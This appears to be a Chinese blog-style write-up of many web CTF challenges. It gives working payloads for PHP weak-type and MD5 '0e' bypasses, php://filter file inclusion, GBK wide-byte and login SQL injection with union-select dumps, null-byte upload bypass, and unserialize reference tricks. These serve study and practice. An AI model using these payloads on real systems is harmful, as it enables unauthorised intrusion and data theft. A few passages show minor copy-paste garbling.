菜,就要多做题,第一次发。。。。。。。
直接看源码就可以了。
这题是md5的碰撞问题
$md51 == $md52
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0
payload:?a=aabg7XSs
或者?a=240610708)
还有这些都是一些常用的。
QNKCDZO,240610708,s878926199a,s155964671a,s214587387a,s214587387a
要求输入zhimakaimen,但是输入之后也没用。
bp抓包,发现zhimakaimen变成了zhimakaime,少了个n,应该是限制了长度
直接加上n,然后go,即可得到flag
刚开始有点迷,就一张图,既然他说不是web,就把图下载下来,放到hxd里看一看,搜索nctf,在最后找到flag
打开之后就是一个普通的网页,题目中说到微博,我还去看了看,啥也没发现,不过也关注了黑客叔叔QAQ。
题目叫层层递进,在网页中找了半天,点了很多网页也没发现什么,只能查看源码,
发现有一个SO.html
访问一下,又出现一个界面,明显不是同一个界面,再看源码,又有一个S0.html,访问,又出现一个界面,源码里是SO.htm,访问,又有一个界面,是S0.html,继续,这次源码里有一个404.html,访问,出现如下:
继续查看源码,发现好大一段注释啊,仔细看看,里面就有flag
这题还真的是层层递进啊。
还有一种方法,直接扫描了一下网站后台,就可以发现404了,,,,,,
打开题目,不知道是什么鬼,
Google打开
看来是编码问题,Unicode之后,就会得到一段AAencode加密的话
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
直接放在控制台里跑一下,就行
说道手速问题,直接bp抓包
给了一段PHP代码
function CLsI($ZzvSWE) {
$ZzvSWE = gzinflate(base64_decode($ZzvSWE));
for ($i = 0; $i < strlen($ZzvSWE); $i++) {
$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
}
return $ZzvSWE;
}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>
eval()这个函数运行时,会执行他括号里面的语句,这里面应该是flag,
所以把eval改成echo,放在本地运行一下,就可以输出flag
或者找个在线执行代码的网站,执行一下。
既然叫文件包含了,那就文件包含了。
直接拿payload
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
以base64编码把index.php源码读出来,然后base64解码,即可得到flag。
还是抓包,go了一次之后啥也没有,那就再go一次,得到flag
题目似乎坏掉了
打开题目一个空白页,bp抓包试试,
发现cookie:login=0
改成login=1试试,就得到flag了
提示了robots.txt,那就打开robots.txt看看
tip:sql.php,应该是这个页面的问题,源码中当id=1024时,会输出“no,try again”,id!=1024时,才弹出content(应该有flag),但是当id=1,2,,,等数字时,也没用弹出,
代码中有个intval函数,这个函数是取整函数,
如果我们输入1024.xxxxxx,如1024.000001的话,intval会取整,那么 i d 会 是 1024 , 但 是 当 判 断 id会是1024,但是当判断 id会是1024,但是当判断_GET[id]==1024时就会为假,因为没有强制类型转化,所以两个一个是1024,一个是1024*10^12,不相等,两个条件同时满足,因此就能绕过得到flag
id=1时正常,加上单引号之后,发现单引号被转义了,
再看看题目,肯定是宽字节注入了,页面编码保存为gbk,
宽字节注入,就是为了逃过转义函数的限制,宽字节注入就是利用了mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字,我们可以输入%df试一下。
payload:?id=1%df'
可以看到,有了报错信息,这样就可以注入了
测试后发现只有两列
爆库
?id=-1%df' union select 1,database()%23
爆表
`?id=-1%df’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23
爆列
?id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x637466%23
把”ctf“转换成十六进制,挨个都爆了一遍,最终在ctf4中发现flag
爆数据
?id=-1%df%27 union select 1,flag from ctf4%23
得到一个flag,提交之后不对,
只能再挨个文件找,在ctf的pw中找到一个,也不对,看来是被别人玩坏了
不过,注入的目的已经实现了。
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
给了源码,那就好说了
ereg函数会把null值当成结束,可以使用%00截断,但是strpps会绕过%00,
strpos ($_GET[‘nctf’], ‘#biubiubiu’) !== FALSE,这句话要求nctf中包含“#biubiubiu”,所以构造payload:
?nctf=1%00%23biubiubiu
还有一种简单的方法,那就是strpos会被数组绕过
payload:?nctf[]=
就可以了。
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}
给了源码,MD5弱比较,直接数组绕过
payload:?a[]=1&b[]=2
或者取两个MD5值也可以
payload:?a=QNKCDZO&b=240610708
根据页面的提示,在source.php中找到源码
if ($_SERVER["REQUEST_METHOD"] == "POST") {
?>
extract($_POST);
if ($pass == $thepassword_123) {
?>
<div class="alert alert-success">
<code> echo $theflag; ?>
看到了,extract函数,所以只要post传入任意的pass与thepassword_123值相等即可
挂了
看样子是要伪装成本地登录了,bp抓包,直接在header里添加
X-Forwarded-For:127.0.0.1
挂了
看一下源码
文件上传
传一张图片,显示如下:
提示上传.php,传一个php文件后,又说不能传php
bp抓包,先上传图片,抓到薄厚,再修改后缀名,尝试了很多php,Php,pHp,phP,PHp,pHP,PhP,PHP,phpphp,phphpp,php3,php4,php5等发现都失败,
再看看源码和报错信息,发现在经过图片后缀检查后,根据basename判断是不是php文件,所以可以用空字节截断,上传一个图片,在/uploads/后给出一个名字比如:
/uploads/1.php
然后在php后用hex增加一个00字符,即可成功绕过。
点击source看一下源码,看一下SQL语句
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
发现是单引号+括号的闭合,post:user=1')%23&pass=1
,不报错,闭合成功
要求是admin用户,那就构造payload:
user=admin')%23&pass=1
//%23会把后面的注释掉,不管密码对不对都可以
源码
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>
考察PHP弱类型,从PHP社区文档的注解可以发现strcmp函数在比较数组时,会返回null。所以post的数据为pass[]=a
源码
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{
$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>
不能传入数字,但是要传入54975581388,才能得到flag,转换为十六进制传入可以绕过
要admin用户密码,但是此时的用户是ctfuser,而且在不能在输入框中直接改,发现url中有user1=Y3RmdXNlcg==,Y3RmdXNlcg==是ctfuser经过base64加密的,所以把admin用base64编码之后,传入url中,发现没用,bp抓包试试
发现有三处穿了user的信息,把这三处都改成admin,其中前两处需要base64编码,即可得到flag
<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
-->
TIP:反斜杠可以用来转义,仔细查看相关函数的用法
通过代码发现,需要传入GET类型的username以及password,首先调用了clean方法,在clean方法首先判断是否开启了添加反斜杠,如果添加了,使用stripslashes()删除反斜杠,然后调用htmlentities()方法将把字符转换为 HTML 实体,htmlentities($str, ENT_QUOTES)用来转换双引号和单引号。
函数原型是这样
string htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get(“default_charset”) [, bool $double_encode = true ]]] )
参数flags缺省情况下与$flags=ENT_QUOTES
情况下函数行为不同,
选值为ENT_QUOTES
时Will convert both double and single quotes
,
也就是说,前者不会将单引号编码而后者会。我们的最终目标是平衡引号,从而使查询语句语法正确,既然无法输入单引号,就消灭单引号。
访问http://chinalover.sinaapp.com/web15/index.php?username=\&password= or 1%23
,
也就是构造payload为?username=\&password= or 1%23
,使得查询语句如下:
SELECT FROM users WHERE name=’admin\’ AND pass=’ or 1 #’;
一大段的JSFUCK
解码看看,得到一个文件名,1bc29b36f623ba82aaf6724fd3b16718.php,访问一下,
这题在学校的平台上做过。而且提示也够多。
看看源码,两处有用信息,首先这里,给了用户名,邮箱,文件编辑器
这里显示了有一个submit.php的页面
访问submit.php之后,说you are not admin,
要求管理员登录,邮箱知道了,但是token不知道,利用文件泄露,查看**.index.php.swp**,啥也没有,查看**.submit.php.swp**,会看到返回了源码
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "失败了呀";
}
看了源码,token有两个条件
token长度等于10,值要等于0
那么只需要使token=0000000000或者token=0e11111111(0e开头,PHP会解析为0),
email就是上面的[email protected]
class just4fun {
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
if(get_magic_quotes_gpc()){
$pass=stripslashes($pass);
}
$o = unserialize($pass);
if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>
$o = unserialize($pass)
然后将pass进行反序列化操作,并赋值给变量$o
如果对象o赋值成功,将对象o的secret变量设置为*,并判断对象o的secret变量和enter变量是否相等,===判断数值及属性,如果相等输出flag。
所以我们想到了引用a=&b
,&属于引用,属于浅拷贝,一个改变另外一个也随之改变。$this->enter=&$this->secret
直接写一段代码:
class just4fun{
var $enter;
var $secert;
function __construct(){
$this->enter=&$this->secert;
}}
$a=new just4fun();
print_r(serialize($a));
运行之后得到O:8:"just4fun":2:{s:5:"enter";N;s:6:"secert";R:2;}
,构造payload:
?pass=O:8:"just4fun":2:{s:5:"enter";N;s:6:"secert";R:2;}
查看源码
<!--$file = $_GET['file'];
if(@file_get_contents($file) == "meizijiu"){
echo $nctf;
}-->
file_get_contents() 函数把整个文件读入一个字符串中。
如果从$file读入的字符串是"meizijiu",就输出flag,可以利用PHP伪协议,php://input从我们post的信息中读入数据流,